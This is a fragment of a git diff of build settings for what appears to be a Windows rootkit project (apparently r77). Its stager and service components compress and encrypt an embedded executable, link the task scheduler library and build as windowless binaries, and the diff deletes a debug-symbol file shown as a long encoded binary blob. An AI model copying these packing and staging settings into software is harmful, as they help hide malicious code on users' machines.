"$(SolutionDir)Stager\Resources\$(TargetName).exe" -compress -encrypt @@ -72,39 +82,33 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources" Level3 true true - true + false NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + true + EntryPoint "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service -xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources" -"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)InstallStager\Resources\$(TargetName).exe" -compress -encrypt +xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources" +"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).exe" -compress -encrypt - - - - - - - - - - - - - diff --git a/Service64/Service64.vcxproj.filters b/Service64/Service64.vcxproj.filters new file mode 100644 index 0000000..af59fd3 --- /dev/null +++ b/Service64/Service64.vcxproj.filters @@ -0,0 +1,13 @@ + + + + + {1e8b5ac9-65cd-4e5b-9f1e-0319a40a805d} + + + + + Resources + + + \ No newline at end of file diff --git a/SlnBin/x64/detours.pdb b/SlnBin/x64/detours.pdb deleted file mode 100644 index 812594c80ecb9a3e1da3cee83e65ab749f51a39c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 176128 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
    H#wVT$E7X z^YsGb8+{6UgTU|xq@CxEzi+F&$xGk1CG6dZ=f9(QAIu5G-;yOP?HyUd)83FJocWBu zA4_<%cXWyS6B`GY5n>ie-_Rx8e+!pkzMC6=2Up>Ax80>Z^wS-!e{-4BSGMWfw2bpH z@b}-P)&7uu?CeqdUUPVL4*EXgk06fiZ*3n;ExUe{b(4MW0-h6fzFo%N@nrot55{^* zU%kQ`R%|BN-8$aHSzn#FpeuGb-YZF8y}yd5`wDzM#=&`?-~!{Ez?x$MXr=k$fQV=ng7!0Bf<&igm87fr`wEBV6oBh_DGKf&LP)J4>aqbQ*ywf5!l|KKMAH(e3aL@QSjygcL{a(1c+w%UF@b-N_--r7)@S)Gx zYW@b{C)=`f_g!Ge3-@Gjw2g9dFq{h!m^;%%IPI;&_-&GdZ4j8Hv~8c8hr*pW?mWCL zQwQ5*76!PU&o+|zg_&gk7V_w)(|Gwy$*=FH(skoq50s1f<6o{){JqU@c&`NONQlpx ze*nJ8-KaQcv)^8N&@(kPG1R+%YQR3tx1R@a;s|Kp&By#B__1vLIm_<@MtSthyVNNI z`#;WE{uA(gdr|2*O6n2}N?2B&@Do__4saQbIh@5Qhlq_i!BZ!mJl`qD zzDw?BxG&Py&q^|+h~&LC?2drPW#YKL6U^C8p=kK-w0-x|mXVZ|ZO5SRP`|BaBV_W+ zo@+Co!Z)PBOT(b?`H?4ivFxMe-)b%ZE!zt6(6)C2?CuI!r*A*>=lRw6{LMD?L5R=1 zTnm|*MlO~Y%}-ihF0yIk4qvq4+BRJbn96a9{Ep}Mfi_L8H#u{u4Ttk2*i;alOJMrE zJ2=!&);v_=Q+Jd&t}ntHz;NzP^UE-ID_nuNzFtVn_9!Y-i`kk&m*m%CxyvhXANALypBtYT>l?rkRx*h^XOV&cN7t5LDLl8r zMse@1ooA$fP9KHe24K_^b7y8ir>s^Ix6ZUy}Q8>$U+$>BsW``T!267S-v=;9t5T5w;9QLmowLZpWp8-BTu2dW=*%n=gy}+v+cs4X7_S? zvK&mvauBl6?)$)xcCU4a{yg7FN~=S}^@BcMhXw#6uR-C}%s$CC%{~c_+b3an$3E?> zH1rdG#HSrNWPRz>7b4;~(b1Ps(A3e!NWJ^-@EM(tu63uw*rytTy15~^cTJx;3hy`F z6yV4sgkKo?mtiE&2kH#*E~1CKB#M)j?7E>3dM@h1SD+{TT&6x~T&MmhB94Q;{XT3n zn9522`K`HhFNxhBmAb}Ph%HQ*2ye&)ZKC6`1npNMo?Rp zx5clN5@>fyWF!XN(9h;v>)#^HV6K%LW-T+<&k%5+mBfT-PD6~ zDLg3c@*=q9ihal>ocp3(y3Hp(T`=CXgH4tP_VBm;0O_UX`5q{bv^uVLq&956TFeiT zK6UUT$#;`|>@rzCFuH$aV4`Pg0ENWneNs#=a+UY$XvIE%Ea~bPjcpKCRJgI2N6u{< z{FhcoOLH>q4}H5m(J#ThW6QF{vF{azPqazyvYY!F;kwcief~+Tsvmkx1`no zXpFeUjg;y$X>EXoYby|CfkaWS^{zSI2alCM+n%yr;M`QSU2sXTo)L$+9wZsg-K;a5 zxL+=m^*KE74%=lq!r|nN!Z+v~0&YoOX~9nj5{T9(MAM4ErXgJ6o|C2DUqZg=ZqJ z4q!X1j|ub1wxE3V(;c*{QDZorozNy-d!8{bhJCNj2JxcY*n})q#mv*80vkL_Y;aG+ zU!0llJ>GyP9_k48r$be{_jU*wY&Y}vt`y3YLw?Wp@{75G)Pz&>8Mjjdz(4=<(Q6j&Vx49g8EvTU9h@kxSioj7-oH*Dc3BXa|GBoPIB8mFpRfs zNFIbc%@WCN*zLz4xhqe%4};_`{7L9!!63ZD*>ix0XUuxA5&2m#wSwNW$aRpVHnMmA z=ee;Uid-iL?p8XoJ-t5ZBaouLJR0@x|5&^Kkyfhd9>z0B78rVTz;u5vL#B zAFOuHxcriiyrT3uvqR!KKU&AU$}P+U_Unv|-)L_PwKY5lb%!)8JI+&F37*`8!XxmzjJV8SD|ATPb!Tb&Z^R9tLw$fToHafD{b;f$VFwJi zn9;F;(czwny#qGfZYFv-e|(d77W|Rm8A|RMgS``1_@{5>bZK7`&A9G0#Tx2RugKMD 